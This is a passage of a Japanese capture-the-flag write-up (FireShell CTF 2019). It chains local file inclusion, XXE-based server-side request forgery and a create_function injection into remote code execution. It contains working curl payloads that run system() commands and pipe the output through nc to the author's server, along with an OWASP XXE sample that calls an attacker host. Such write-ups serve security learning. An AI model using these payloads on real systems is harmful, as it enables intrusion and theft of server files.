root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Admin.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

 ?>
1296

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/.htaccess
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
RewriteEngine On
RewriteRule ^files/ - [L,NC]
RewriteRule ^semantic/ - [L,NC]
RewriteRule ^([^/]+)/? index.php?url=$1 [L,QSA]

127

Stage2. XML External Entity、Server Side Request Forgery

Routes.phpの分岐(以下に抜粋)を見ると、Admin::sortを呼ぶにはサーバのローカルからアクセスしないといけない。
後述のStage3で詳しく記載するが、Admin::sortにRCEの脆弱性がある。

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Routes.phpCustom.phpのコードを確認すると、/customにPOSTリクエストでデータを送ると、送ったデータをそのままsimplexml_load_string関数に渡して実行されることがわかる。

XML External Entityを使用することで、XMLをロードするタイミングでサーバからHTTPリクエストを発行し、Server Side Request Forgeryができる。

www.owasp.org

上記のOWASPのページの一番下のサンプルがわかりやすい。以下に抜粋する。

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

http://www.attacker.com/text.txtの箇所をhttp://127.0.0.1/adminに変更すればよい。

Stage3. Remote Code Execution

http://127.0.0.1/adminを呼んでAdmin::sortを実行する準備が整ったので、セットするパラメータを考える。

Admin::sortの以下の部分にRCEの脆弱性がある。

     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

$orderにhoge||system('任意のコマンド')をセットすれば、任意のコマンドを実行できる。

$order$_REQUEST["order"]から移送されるため、パラメータで自由にセット可能。

ただ、$dataに2件以上のレコードがセットされていないとusortが動かない。
$dataには$_REQUEST["url"]から取得したXMLをパースしてセットするため、自サーバにXMLファイルを作って配備する。

<root>
<channel>
<item><link>aaa</link></item>
<item><link>bbb</link></item>
</channel>
</root>

あとは任意のコマンドを埋めこんだURLを組み立てる。

最初はls|nc myserver portを実行させる。(ReverseShellを実行したかったが、うまくいかなかったので、1コマンドずつ実行。)

curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27ls%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'

自サーバにてncコマンドで構えてから、上記のcurlコマンドを実行する。

root@kali:/# nc -l -p 12345
Controllers
Routes.php
Views
classes
files
index.php
requirements.txt
semantic

うまくいった。 次に親ディレクトリを見るため、ls ..|nc myserver portを実行させる。

curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27ls%20..%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
root@kali:/# nc -l -p 12345
app
bin
boot
create_mysql_admin_user.sh
da0f72d5d79169971b62a479c34198e7
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
start-apache2.sh
start-mysqld.sh
sys
tmp
usr
var

da0f72d5d79169971b62a479c34198e7という怪しいファイルがある。
cat ../da0f72d5d79169971b62a479c34198e7|nc myserver portを実行させる。

curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27cat%20../da0f72d5d79169971b62a479c34198e7%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
root@kali:/# nc -l -p 12345
f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

フラグゲット。